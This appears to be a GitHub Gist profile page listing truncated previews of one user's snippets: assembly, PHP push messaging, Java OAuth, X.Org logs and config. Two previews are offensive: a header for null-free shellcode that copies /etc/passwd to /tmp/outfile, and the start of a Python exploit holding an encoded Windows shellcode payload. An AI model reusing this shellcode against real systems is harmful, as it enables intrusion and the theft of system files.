Skip to content

Instantly share code, notes, and snippets.

global _start
section .text
_start:
;print on screen
mov rax, 1
mov rdi, 1
mov rsi, hello_world
mov rdx, length
BITS 64
[SECTION .text]
global _start
_start:
; sys_write
xor rax, rax
mov rax, 1 ; syscall
/*
Reads data from /etc/passwd to /tmp/outfile
No null bytes
Author: Chris Higgins <chris@chigs.me>
@ch1gg1ns -- github.com/chiggins
chigstuff.com
Date: 3-27-2014
Size: 118 bytes
Tested: ArchLinux x86_64 3.13.6-1
<?php
// You put your own App ID and Sender IDs
define("GOOGLE_APP_ID", "AIxxxxxxxxx");
define("SENDER_ID", "xxxxxxxxxx");
// Device ID to send the message to
$deviceId = "insertdeviceidhere";
$message = "Message from PHP!";
// Create the POST request
global _start
section .text
_start
MOV ebx,23133
MOV eax,12733
MOV ecx,27798
CMP ebx,eax
JL L1
@Chiggins
Chiggins / NeoseekerOAuthTest.java
Created July 25, 2012 18:38
Testing out Neoseekers OAuth API
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.StringWriter;
import oauth.signpost.OAuth;
import oauth.signpost.OAuthConsumer;
import oauth.signpost.OAuthProvider;
import oauth.signpost.commonshttp.CommonsHttpOAuthConsumer;
import org.scribe.builder.api.DefaultApi10a;
import org.scribe.model.Token;
public class NeoseekerAPI extends DefaultApi10a
{
private static String requestTokenURL = "http://api.neoseeker.com/oauth/request.php";
private static String accessTokenURL = "http://api.neoseeker.com/oauth/access.php";
private static String authTokenURL = "http://api.neoseeker.com/oauth/authorize.php?oauth_token=%s";
@Override
import socket, sys
windows_payload = ("\xd9\xc0\xbf\x0e\x56\x8a\x78\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x4f\x83\xc3\x04\x31\x7b\x15\x03\x7b\x15\xec\xa3\x76\x90\x79"
"\x4b\x87\x61\x19\xc5\x62\x50\x0b\xb1\xe7\xc1\x9b\xb1\xaa\xe9"
"\x50\x97\x5e\x79\x14\x30\x50\xca\x92\x66\x5f\xcb\x13\xa7\x33"
"\x0f\x32\x5b\x4e\x5c\x94\x62\x81\x91\xd5\xa3\xfc\x5a\x87\x7c"
"\x8a\xc9\x37\x08\xce\xd1\x36\xde\x44\x69\x40\x5b\x9a\x1e\xfa"
"\x62\xcb\x8f\x71\x2c\xf3\xa4\xdd\x8d\x02\x68\x3e\xf1\x4d\x05"
"\xf4\x81\x4f\xcf\xc5\x6a\x7e\x2f\x89\x54\x4e\xa2\xd0\x91\x69"
[ 14.438]
X.Org X Server 1.14.4
Release Date: 2013-10-31
[ 14.439] X Protocol Version 11, Revision 0
[ 14.439] Build Operating System: Linux 3.11.6-1-ARCH x86_64
[ 14.440] Current Operating System: Linux vader 3.11.6-1-ARCH #1 SMP PREEMPT Fri Oct 18 23:22:36 CEST 2013 x86_64
[ 14.441] Kernel command line: BOOT_IMAGE=/boot/vmlinuz-linux root=UUID=34c3e2c5-ae4a-45ce-b7aa-f9284d5dcdb0 rw quiet nomodeset acpi_osi=Linux acpi_backlight=vendor
[ 14.442] Build Date: 01 November 2013 05:10:48PM
[ 14.443]
[ 14.443] Current version of pixman: 0.30.2
Section "ServerLayout"
Identifier "layout"
Screen 0 "nvidia"
Inactive "intel"
EndSection
Section "Device"
Identifier "nvidia"
Driver "nvidia"
BusID "PCI:1:0:0"